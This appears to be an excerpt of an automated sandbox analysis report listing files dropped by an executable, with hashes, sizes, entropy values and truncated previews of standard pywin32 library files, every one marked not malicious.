SHA-512:	D17C59AAD49807C15FC10ACE6D0BD4576F00A3041AD3DC394A7BA0D9425C22F4F3D5C6FAD45D59869A2A1AE20FE23EA7478EE28BCB8A7F717C8EFCCF18397AB9
Malicious:	false
Preview:	# A demo for the IDsObjectPicker interface..import pythoncom.import win32clipboard.from win32com.adsi import adsi.from win32com.adsi.adsicon import *..cf_objectpicker = win32clipboard.RegisterClipboardFormat(CFSTR_DSOP_DS_SELECTION_LIST)...def main():. hwnd = 0.. # Create an instance of the object picker.. picker = pythoncom.CoCreateInstance(. adsi.CLSID_DsObjectPicker,. None,. pythoncom.CLSCTX_INPROC_SERVER,. adsi.IID_IDsObjectPicker,. ).. # Create our scope init info.. siis = adsi.DSOP_SCOPE_INIT_INFOs(1). sii = siis[0].. # Combine multiple scope types in a single array entry... sii.type = (. DSOP_SCOPE_TYPE_UPLEVEL_JOINED_DOMAIN \| DSOP_SCOPE_TYPE_DOWNLEVEL_JOINED_DOMAIN. ).. # Set uplevel and downlevel filters to include only computer objects.. # Uplevel filters apply to both mixed and native modes.. # Notice that the uplevel and downlevel flags are different... sii.filterFlags.uplevel.bothModes = DSOP_FILT

C:\recover\pw\Lib\site-packages\win32comext\adsi\demos\scp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19144
Entropy (8bit):	4.771290812448383
Encrypted:	false
SSDEEP:	192:M3xkN3KcPgMB40g4JTuLUpLW/YFimhMVo62AATeE7XgtgN24gtWcPxIo2ZuAjryT:A58JuiWQUUchJG/Wj
MD5:	6AF72C80B4C12C5A64FAFB54D7814177
SHA1:	BC3E8C14C8E2EA8DD102397F0FFE375CCC27AC09
SHA-256:	2C8BF8FBF796F30D2838EE52D0E0EADBF54775A9B9D7EB1C616771A36D7234CF
SHA-512:	A5EE5B81F5A8216C4786C304457CD51116FB224164F9E5739B21D1BBAE842E9645A92255131F8C8221E1BDFC598BACB3F005D64D93A685D69AA931DFA7C18727
Malicious:	false
Preview:	"""A re-implementation of the MS DirectoryService samples related to services...* Adds and removes an ActiveDirectory "Service Connection Point",. including managing the security on the object..* Creates and registers Service Principal Names..* Changes the username for a domain user...Some of these functions are likely to become move to a module - but there.is also a little command-line-interface to try these functions out...For example:..scp.py --account-name=domain\\user --service-class=PythonScpTest \\. --keyword=foo --keyword=bar --binding-string=bind_info \\. ScpCreate SpnCreate SpnRegister..would:.* Attempt to delete a Service Connection Point for the service class. 'PythonScpTest'.* Attempt to create a Service Connection Point for that class, with 2. keywords and a binding string of 'bind_info'.* Create a Service Principal Name for the service and register it..to undo those changes, you could execute:..scp.py --account-name=domain\\user --service-class=PythonScpTe

C:\recover\pw\Lib\site-packages\win32comext\adsi\demos\search.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4169
Entropy (8bit):	4.6496957953422235
Encrypted:	false
SSDEEP:	96:iQ+oR4VOObthLZvkAdtPDQlnNqJ1Xmx8HsiZEpSSFMdi:LOpxZptLQVIbXmx8MqEwjdi
MD5:	0A534E0FB32C632B948483B81C492BE5
SHA1:	315A8ED1A99D57A2E85105517AC8BBD156770FEF
SHA-256:	FF926B3BFA8FD17CD1CD4C1D746563FE2F9606422ADEDDA5A0C532997CBDE52E
SHA-512:	51488B474A677C6C8BA2EE32E10EF7379CDBFDF22A1CF0D6B775BDDC700427E63F7D2BD8C700FE5E76D9265494296506A8ED6AB5F15926924A72ED91CBB692A2
Malicious:	false
Preview:	import pythoncom.import pywintypes.import win32security.from win32com.adsi import adsi, adsicon.from win32com.adsi.adsicon import ..options = None # set to optparse options object..ADsTypeNameMap = {}...def getADsTypeName(type_val):. # convert integer type to the 'typename' as known in the headerfiles.. if not ADsTypeNameMap:. for n, v in adsicon.__dict__.items():. if n.startswith("ADSTYPE_"):. ADsTypeNameMap[v] = n. return ADsTypeNameMap.get(type_val, hex(type_val))...def _guid_from_buffer(b):. return pywintypes.IID(b, True)...def _sid_from_buffer(b):. return str(pywintypes.SID(b))..._null_converter = lambda x: x..converters = {. "objectGUID": _guid_from_buffer,. "objectSid": _sid_from_buffer,. "instanceType": getADsTypeName,.}...def log(level, msg, args):. if options.verbose >= level:. print("log:", msg % args)...def getGC():. cont = adsi.ADsOpenObject(. "GC:", options.user, options.password, 0, adsi.IID_

C:\recover\pw\Lib\site-packages\win32comext\adsi\demos\test.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8519
Entropy (8bit):	4.629808468909972
Encrypted:	false
SSDEEP:	192:UtRHlgIr4Rg1NaRKOy64zBwi0cbUkxDisp3sLlZC/fxli:UfFy+igB6uxDisp3sLl1
MD5:	88F8118FB6975331D4D6B4540171B3D0
SHA1:	4C2FACEDDA8B6C4BF85EB7ABF1806B9DF06B7994
SHA-256:	D520BCC60691001EF5ED60FB13481FCDD8C291C061DE4A2F5FBE432AC30D57F5
SHA-512:	7C5E405F3C3372363F5E19AA9C2AADD4C190A1738A6D212522F722D64FDE04F4520169B09C2734DD45D89897F9AA0881BBF26B8C562B0FD173E20E95645BB9F1
Malicious:	false
Preview:	import string.import sys..import pythoncom.import win32api.from win32com.adsi import *..verbose_level = 0..server = "" # Must have trailing /.local_name = win32api.GetComputerName()...def DumpRoot():. "Dumps the root DSE". path = "LDAP://%srootDSE" % server. rootdse = ADsGetObject(path).. for item in rootdse.Get("SupportedLDAPVersion"):. print("%s supports ldap version %s" % (path, item)).. attributes = ["CurrentTime", "defaultNamingContext"]. for attr in attributes:. val = rootdse.Get(attr). print(" %s=%s" % (attr, val))...###############################################.#.# Code taken from article titled:.# Reading attributeSchema and classSchema Objects.def _DumpClass(child):. attrs = "Abstract lDAPDisplayName schemaIDGUID schemaNamingContext attributeSyntax oMSyntax". _DumpTheseAttributes(child, string.split(attrs))...def _DumpAttribute(child):. attrs = "lDAPDisplayName schemaIDGUID adminDescription adminDisplayName rDNAttID defaultHi

C:\recover\pw\Lib\site-packages\win32comext\authorization\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.73288878491099
Encrypted:	false
SSDEEP:	3:SbFVEbW2llQkEr66FuxAAyWX7myhAgMXFPJoFcAtUIVKzLHKFaWlQkEr66NRS66u:SbFubDlQkDAAyWrNhS5WmKVsLHKkWlQp
MD5:	3D90A8BDF51DE0D7FAE66FC1389E2B45
SHA1:	B1D30B405F4F6FCE37727C9EC19590B42DE172EE
SHA-256:	7D1A6FE54DC90C23B0F60A0F0B3F9D5CAE9AC1AFECB9D6578F75B501CDE59508
SHA-512:	BD4EA236807A3C128C1EC228A19F75A0A6EF2B29603C571EE5D578847B20B395FEC219855D66A409B5057B5612E924EDCD5983986BEF531F1309ABA2FE7F0636
Malicious:	false
Preview:	# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\authorization\authorization.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23040
Entropy (8bit):	6.062839817250289
Encrypted:	false
SSDEEP:	384:arzdKQVZXqBDe+6G7DDfwhHwz4yYBUjjgPpYE4ggd1CpNL1u6To:EUIhHwz4yY1PpAZCpNL1u6To
MD5:	E3ED8D5742C06BBA31DB1AFF1F2A33F7
SHA1:	6D1A2C685FE349CDB53A61A22C06822FAE8BE07B
SHA-256:	011707B089AB8E55FAC97E4E56A479E2890B1D8DD6072DA2E7D6F14D69031010
SHA-512:	3355D837EC006425C8848BE39108EC1C0641C0E36B319D57712251A3CD22F98D334584FE5AFC9882298BCEBCCDE544202E86E2F69950E58E45F03AF89FC18401
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............`......m.......m.......m.......m......Am......'q.......s..............Am......Am......Am......Rich....................PE..L......d...........!........,.......'.......@............................................@.........................`P..\....P.......p..l........................... E..T...........................xE..@............@...............................text....).......*.................. ..`.rdata.......@... ..................@..@.data...h....`.......N..............@....rsrc...l....p.......P..............@..@.reloc...............T..............@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\authorization\demos\EditSecurity.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9011
Entropy (8bit):	4.719971542686045
Encrypted:	false
SSDEEP:	96:lxNw/DfCnB+J7V2zOEuIzmn24P5z/TLmn6cEIyPCuTrcayxcjF2VcXozGkUbz:lxN2CIX2zxgPLcNmFfNyxp5G3
MD5:	03BA827D3BA1E38C61E394FE909CE800
SHA1:	90BCFD2FF3CDFBFF6D51233101CA79ED05D5BCD4
SHA-256:	992E18C3D88C678B5BE0B2E2F84EFD3B096B47DE672508E711B6EE3DA884A807
SHA-512:	C211EA590E51B36193F79E38389574DCFE8A71498F8156492D61B02B7AC6A559DF6D0BB1E21F3272D4D8F28E3376DB650C1A3CA0B221D0D7E7B3A36D8281A220
Malicious:	false
Preview:	import os..import ntsecuritycon.import pythoncom.import win32api.import win32com.server.policy.import win32con.import win32security.from ntsecuritycon import (. CONTAINER_INHERIT_ACE,. FILE_ALL_ACCESS,. FILE_APPEND_DATA,. FILE_GENERIC_EXECUTE,. FILE_GENERIC_READ,. FILE_GENERIC_WRITE,. FILE_READ_ATTRIBUTES,. FILE_READ_DATA,. FILE_READ_EA,. FILE_WRITE_ATTRIBUTES,. FILE_WRITE_DATA,. FILE_WRITE_EA,. INHERIT_ONLY_ACE,. OBJECT_INHERIT_ACE,. PSPCB_SI_INITDIALOG,. READ_CONTROL,. SI_ACCESS_CONTAINER,. SI_ACCESS_GENERAL,. SI_ACCESS_PROPERTY,. SI_ACCESS_SPECIFIC,. SI_ADVANCED,. SI_CONTAINER,. SI_EDIT_ALL,. SI_EDIT_AUDITS,. SI_EDIT_PROPERTIES,. SI_PAGE_ADVPERM,. SI_PAGE_AUDIT,. SI_PAGE_OWNER,. SI_PAGE_PERM,. SI_PAGE_TITLE,. SI_RESET,. STANDARD_RIGHTS_EXECUTE,. STANDARD_RIGHTS_READ,. STANDARD_RIGHTS_WRITE,. SYNCHRONIZE,. WRITE_DAC,. WRITE_OWNER,.).from pythoncom import IID_NULL.from win32c

C:\recover\pw\Lib\site-packages\win32comext\authorization\demos\EditServiceSecurity.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8637
Entropy (8bit):	4.801238101018742
Encrypted:	false
SSDEEP:	96:99axrFfCnB+J7VsLOEBwzaYu/uSTPCuvWYjoAAxCecgmevTTtCh07xkjqcXozGyy:98xrpCIXsLoL+FueodxttCa7xPGyZ8
MD5:	B22937070DEB1173DDB1081DA8782C25
SHA1:	95F9E1DFF1755DBA17965F4EDBFD7E133D56328B
SHA-256:	F151377797F41881857809F33BD864D3480EC03DDDA0F54C94425415AA4040A0
SHA-512:	AF1890C9BE08B667E42532087E998E01CD0C5375BAB517B58A6E813AE467C0431FF634865852EE4D6B6085372389E47DBC7E2B38C33E2503F7FEEBDE400C0E72
Malicious:	false
Preview:	""".Implements a permissions editor for services..Service can be specified as plain name for local machine,.or as a remote service of the form \\machinename\service."""..import os..import ntsecuritycon.import pythoncom.import win32api.import win32com.server.policy.import win32con.import win32security.import win32service.from win32com.authorization import authorization..SERVICE_GENERIC_EXECUTE = (. win32service.SERVICE_START. \| win32service.SERVICE_STOP. \| win32service.SERVICE_PAUSE_CONTINUE. \| win32service.SERVICE_USER_DEFINED_CONTROL.).SERVICE_GENERIC_READ = (. win32service.SERVICE_QUERY_CONFIG. \| win32service.SERVICE_QUERY_STATUS. \| win32service.SERVICE_INTERROGATE. \| win32service.SERVICE_ENUMERATE_DEPENDENTS.).SERVICE_GENERIC_WRITE = win32service.SERVICE_CHANGE_CONFIG..from ntsecuritycon import (. CONTAINER_INHERIT_ACE,. INHERIT_ONLY_ACE,. OBJECT_INHERIT_ACE,. PSPCB_SI_INITDIALOG,. READ_CONTROL,. SI_ACCESS_CONTAINER,. SI_ACCESS_GENERAL,.

C:\recover\pw\Lib\site-packages\win32comext\axcontrol\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	113152
Entropy (8bit):	6.36538924307893
Encrypted:	false
SSDEEP:	1536:/YfNFv5OeD6rjd62YB6prYBtx2iqZZy6VlYiNKGNNO3Xp3iBOr:/cAhYEYBtx2iA5NKGNNO3XpSB0
MD5:	4F83EE894025F453185756FBC47EA9C3
SHA1:	70A811479C7329196DCE6AC18267E14FD6EC4C36
SHA-256:	C39113E3C7D308338B0BA5B218605A797890CE9C5515CAA87E5244E586359CD4
SHA-512:	3AD233AF3742F9718C77CB1FDF5683BD9BD7DF8E7E316D59502D8F9F7DF3D24E70C9472DB861FB9BBB0C2589405795B30DBFA22B091A0757BE82502F5B0FEF29
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......yS).=2G.=2G.=2G.4J.;2G.oGF.?2G.oGB.,2G.oGC.72G.oGD.<2G.)YC.:2G..[F.?2G..GF.92G.)YF.:2G.=2F..2G..GN.,2G..GG.<2G..GE.<2G.Rich=2G.................PE..L...}..d...........!......................................................................@..........................\|..T....\|..........\........................)...R..T............................R..@............................................text...k........................... ..`.rdata..............................@..@.data.... ...........\|..............@....rsrc...\...........................@..@.reloc...).......*..................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\axdebug\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\axdebug\adb.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18119
Entropy (8bit):	4.487056283454847
Encrypted:	false
SSDEEP:	192:eKL8ySGNxaBFGzo1AwOSdrnm8XabLv5uFuFvA0WvmbpB1WxqRZxZG+q8VhgW+UCA:eKLdSa47XoTwwx
MD5:	EE8E4594A8FDCCD97F5CADEEDB5AFC55
SHA1:	0A7834C1DAB475780AE36812FDF30FF395CEC900
SHA-256:	E1DE907DB159D0E0ACD768F18A091B07BF00F2285F25E470F15A9C0532BE7B92
SHA-512:	D9C89AFF68AC53F3451E281B9CEB9108596C7681F4EF269089B25967068531D4621DBF2F8A8F52FD37E533FFD76D06836D5B05330F1C5DBE45B8CD67F7EF8574
Malicious:	false
Preview:	"""The glue between the Python debugger interface and the Active Debugger interface.""".import _thread.import bdb.import os.import sys.import traceback..import pythoncom.import win32api.import win32com.client.connect.from win32com.axdebug.util import _wrap, _wrap_remove, trace.from win32com.server.util import unwrap..from . import axdebug, gateways, stackframe...def fnull(*args):. pass...try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0..traceenter = fnull # trace enter of functions.tracev = fnull # verbose trace..if debugging:. traceenter = trace # trace enter of functions. tracev = trace # verbose trace...class OutputReflector:. def __init__(self, file, writefunc):. self.writefunc = writefunc. self.file = file.. def __getattr__(self, name):. return getattr(self.file, name).. def write(self, message):. self.writefunc(message). self.file.write(message)...def _dumpf(frame):. if frame is N

C:\recover\pw\Lib\site-packages\win32comext\axdebug\codecontainer.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9102
Entropy (8bit):	4.493445466012749
Encrypted:	false
SSDEEP:	192:oPLUXZdF0mWmROuDaERT4GYFpJNVfGoir+:oPLUJDrtDaEnSpRS+
MD5:	29E392CA4BA011B3903E269EF428F91F
SHA1:	4F8737F439EC4EB942AEC02F026602888071B500
SHA-256:	818DB719887CBF9C5EA0992EF19B64596EF360CCD6CDFF9B0DE1D42C72065687
SHA-512:	FEE4664B8ED4C38A416BCBD193380317E3D0535458372CBFE0C2ACF7AF9883AC66D581894DF070E5CC587C2866FE0F6C517CFDADC013C8578190350D846EE9E5
Malicious:	false
Preview:	"""A utility class for a code container...A code container is a class which holds source code for a debugger. It knows how.to color the text, and also how to translate lines into offsets, and back.."""..import sys.import tokenize..import win32api.import winerror.from win32com.axdebug import axdebug.from win32com.server.exception import Exception..from . import contexts.from .util import RaiseNotImpl, _wrap.._keywords = {} # set of Python keywords.for name in """. and assert break class continue def del elif else except exec. finally for from global if import in is lambda not. or pass print raise return try while. """.split():. _keywords[name] = 1...class SourceCodeContainer:. def __init__(. self,. text,. fileName="<Remove Me!>",. sourceContext=0,. startLineNumber=0,. site=None,. debugDocument=None,. ):. self.sourceContext = sourceContext # The source context added by a smart host.. self.text = text. if te

C:\recover\pw\Lib\site-packages\win32comext\axdebug\contexts.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2134
Entropy (8bit):	4.652713352085003
Encrypted:	false
SSDEEP:	24:nmbJCkZpzPRLcONpFxTXRuhOB4IO0AC04tqDdmQkAflms2jNSO4XmN/wF26H4j:8DZppcEpUC4sfztqDIHImvjAOfle2w4j
MD5:	41E8D769F19AA9395EFFDD5EB491D7F8
SHA1:	8E572F48D4C957A43F1135BF541756ACF78DCEB0
SHA-256:	F347434427F90D632B58892800E53E788B1C6D8598674AB1B572DD79D2B8C9B9
SHA-512:	49AB0F700C534D119C5B1DE910C10A7CB021AFCB2D0A8B750ABDB9CB43B9E3CB6B203FB817F96497F44853878689827E8062A21B29BD7B4960FA6550B99EEF57
Malicious:	false
Preview:	""" A module for managing the AXDebug I*Contexts..""".import pythoncom.import win32com.server.util..from . import adb, axdebug, gateways..# Utility function for wrapping object created by this module..from .util import _wrap, _wrap_remove, trace...class DebugCodeContext(gateways.DebugCodeContext, gateways.DebugDocumentContext):. # NOTE: We also implement the IDebugDocumentContext interface for Simple Hosts.. # Thus, debugDocument may be NULL when we have smart hosts - but in that case, we. # wont be called upon to provide it.. _public_methods_ = (. gateways.DebugCodeContext._public_methods_. + gateways.DebugDocumentContext._public_methods_. ). _com_interfaces_ = (. gateways.DebugCodeContext._com_interfaces_. + gateways.DebugDocumentContext._com_interfaces_. ).. def __init__(self, lineNo, charPos, len, codeContainer, debugSite):. self.debugSite = debugSite. self.offset = charPos. self.length = len. self.brea

C:\recover\pw\Lib\site-packages\win32comext\axdebug\debugger.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7322
Entropy (8bit):	4.549344705587493
Encrypted:	false
SSDEEP:	192:BosLADiSwwkDCx7kPIkcxVV82n1UPHE0IUNEqbSuPh3dCBW0PVR3kI:BLMTStckPw7
MD5:	387299A7C13295D50D933231F8F6A929
SHA1:	4641E9553DB4E595AFDE8F58F21C530820CB7F5E
SHA-256:	21EFC71AB966D7C710BA7574596D3A357CE3B5BDDB6573F1972749EB4D88D554
SHA-512:	C82CFF3EB979210A1499ED6CCA43FD141F67386E67FC95AF3D68645CD4D85054B4944111FAA807F43BA03DA90B215707DE07DD58A34B26E340D7D7D3999B8C75
Malicious:	false
Preview:	import os.import string.import sys..import pythoncom.import win32api.from win32com.axdebug import (. adb,. axdebug,. codecontainer,. contexts,. documents,. expressions,. gateways,.).from win32com.axdebug.util import _wrap, _wrap_remove, trace.from win32com.axscript import axscript..currentDebugger = None...class ModuleTreeNode:. """Helper class for building a module tree""".. def __init__(self, module):. modName = module.__name__. self.moduleName = modName. self.module = module. self.realNode = None. self.cont = codecontainer.SourceModuleContainer(module).. def __repr__(self):. return "<ModuleTreeNode wrapping %s>" % (self.module).. def Attach(self, parentRealNode):. self.realNode.Attach(parentRealNode).. def Close(self):. self.module = None. self.cont = None. self.realNode = None...def BuildModule(module, built_nodes, rootNode, create_node_fn, create_node_args):. if module:.

C:\recover\pw\Lib\site-packages\win32comext\axdebug\documents.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4401
Entropy (8bit):	4.634738775565931
Encrypted:	false
SSDEEP:	96:EkzmKcyc/q71ADDZGh5I1jy6HckRTiGITKtT1Yxh9od:hBc/S1QDl9HckBYu2hS
MD5:	2AA8B553D5153F6DE188A218397E83C5
SHA1:	0790935A4CF2FD67EC2CA5DE3155317C22F52E52
SHA-256:	8967559AFA19CC76D9DAD22AE479F6C5F7F4527D2427B729CF316F94CFC49405
SHA-512:	89A24983B381D17E5677E63AF018D82AFF91540056EF7A142BAAB99C4B37FBB2C69D571DCE1793C470CBCBEC2C5B5A2AC9DAEC77AC7AC0434452B67000A73C94
Malicious:	false
Preview:	""" Management of documents for AXDebugging.."""...import pythoncom.import win32api.from win32com.server.exception import Exception.from win32com.server.util import unwrap..from . import axdebug, codecontainer, contexts, gateways.from .util import RaiseNotImpl, _wrap, _wrap_remove, trace..# def trace(*args):.# pass...def GetGoodFileName(fname):. if fname[0] != "<":. return win32api.GetFullPathName(fname). return fname...class DebugDocumentProvider(gateways.DebugDocumentProvider):. def __init__(self, doc):. self.doc = doc.. def GetName(self, dnt):. return self.doc.GetName(dnt).. def GetDocumentClassId(self):. return self.doc.GetDocumentClassId().. def GetDocument(self):. return self.doc...class DebugDocumentText(. gateways.DebugDocumentInfo, gateways.DebugDocumentText, gateways.DebugDocument.):. _com_interfaces_ = (. gateways.DebugDocumentInfo._com_interfaces_. + gateways.DebugDocumentText._com_interfaces_.

C:\recover\pw\Lib\site-packages\win32comext\axdebug\dump.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	4.814656699804549
Encrypted:	false
SSDEEP:	24:qhzmTQ1L1PZQeNy1GcQ2ALkyOZvnvIeJCfkfsFTs/buRtYZHXYzSTuhvapznmLM:6mTQ1BhNIc2qk3ZmkfqdwZv6hvax8M
MD5:	6D76BE29D21C5060BA0BB6A470B6AE02
SHA1:	2C95D58045D5A3EBC7B59EFE876A8C7C0832A52F
SHA-256:	71A341F5D200376EA64FE9CC4A0074B9AC01F13177BB5BD48649594D6B593E9D
SHA-512:	A37EE595C1B6BE4A771CA85B1D23541E3EC5A2B62AAA5B2C96C874512585C00F429AB361D5B8A1A24568715219936991E50F645424C6A14448F4C7CC567F6E70
Malicious:	false
Preview:	import traceback..import pythoncom.from win32com.axdebug import axdebug.from win32com.client.util import Enumerator...def DumpDebugApplicationNode(node, level=0):. # Recursive dump of a DebugApplicationNode. spacer = " " * level. for desc, attr in [. ("Node Name", axdebug.DOCUMENTNAMETYPE_APPNODE),. ("Title", axdebug.DOCUMENTNAMETYPE_TITLE),. ("Filename", axdebug.DOCUMENTNAMETYPE_FILE_TAIL),. ("URL", axdebug.DOCUMENTNAMETYPE_URL),. ]:. try:. info = node.GetName(attr). except pythoncom.com_error:. info = "<N/A>". print("%s%s: %s" % (spacer, desc, info)). try:. doc = node.GetDocument(). except pythoncom.com_error:. doc = None. if doc:. doctext = doc.QueryInterface(axdebug.IID_IDebugDocumentText). numLines, numChars = doctext.GetSize(). # text, attr = doctext.GetText(0, 20, 1). text, attr = doctext.GetText(0, numChars, 1). print

C:\recover\pw\Lib\site-packages\win32comext\axdebug\expressions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.647807501549084
Encrypted:	false
SSDEEP:	192:rvAbbKjWe2iHx/l+JR2DJukLtw71bpHt76ehXdA47EZD9n:rvBjW0xtg0GIehiB
MD5:	F797F20D5F6C508B3B9E4CB6280D495C
SHA1:	BD14914C9245677A9E2B53EF9D3D0EE0D4A0A441
SHA-256:	92A0F62EA386B80661AB0B457EF1067429CF130626DB70D0ADD269D61E877BBA
SHA-512:	60E504657D8E88E37BE6C094D3D8A5D3A58B6E52CA2D2D92E4DF9BDBDE87E28129920003A150D1099EB9A9A6E3A67DF925E222B793FC70F4F1716AFE65DE1AEB
Malicious:	false
Preview:	import io.import string.import sys.import traceback.from pprint import pprint..import winerror.from win32com.server.exception import COMException..from . import axdebug, gateways.from .util import RaiseNotImpl, _wrap, _wrap_remove...# Given an object, return a nice string.def MakeNiceString(ob):. stream = io.StringIO(). pprint(ob, stream). return string.strip(stream.getvalue())...class ProvideExpressionContexts(gateways.ProvideExpressionContexts):. pass...class ExpressionContext(gateways.DebugExpressionContext):. def __init__(self, frame):. self.frame = frame.. def ParseLanguageText(self, code, radix, delim, flags):. return _wrap(. Expression(self.frame, code, radix, delim, flags),. axdebug.IID_IDebugExpression,. ).. def GetLanguageInfo(self):. # print "GetLanguageInfo". return "Python", "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"...class Expression(gateways.DebugExpression):. def __init__(self,

C:\recover\pw\Lib\site-packages\win32comext\axdebug\gateways.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17368
Entropy (8bit):	4.743302883094311
Encrypted:	false
SSDEEP:	384:wtU0c7hDFkwZjeD+i+HL8wEgIz2qXyYSZgf2KpFKZMftRjeqy0993:HgxHXz
MD5:	91CE2F0A108FDC282590D9E5B1D57BD5
SHA1:	823217DEBA5D13B6870A84AE234533E58524DD5C
SHA-256:	5C1DFDEDADE48A6B77F9CE91BA18420DBC6EF210B292031AFB0D68C57E3EA3D5
SHA-512:	C3EAEEC8D00D9BA51710166AD29B5F6501025A5F447270592DE304172693792F5D7778BC8A166734EEF6196F29F63AB8E8DC883F1A9F53C6AF40EF6C08A39979
Malicious:	false
Preview:	# Classes which describe interfaces...import pythoncom.import win32com.server.connect.import winerror.from win32com.axdebug import axdebug.from win32com.axdebug.util import RaiseNotImpl, _wrap.from win32com.server.exception import Exception.from win32com.server.util import ListEnumeratorGateway...class EnumDebugCodeContexts(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugCodeContexts.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugCodeContexts interface for the object... """.. _com_interfaces_ = [axdebug.IID_IEnumDebugCodeContexts]...class EnumDebugStackFrames(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugStackFrames.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugStackFr

C:\recover\pw\Lib\site-packages\win32comext\axdebug\stackframe.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6188
Entropy (8bit):	4.452659775607199
Encrypted:	false
SSDEEP:	96:FeJq8K36fSxfssI13I2pTtY90PwkTUMj8tvAk9fgF3Y8FvXtK5rnHN:FeJh0sLK07IekRghYkvXMrnHN
MD5:	BB74968397B6E873401FE99120E757D1
SHA1:	942FBABF30B5BE0804FBB9FEE360DAC47EFC4A4E
SHA-256:	DFE9F868AEA9D9DE6E80C09F5F760CB645DED28DB822C0A59616F7304227BD85
SHA-512:	BF112BD9B9EF808E263773251046ABBC98E6324104FBAA3DE9AB7352254F3B4D86723A334B9ECB64081909B8F66D44907737B3A65BF52345DFF67FB60C72F861
Malicious:	false
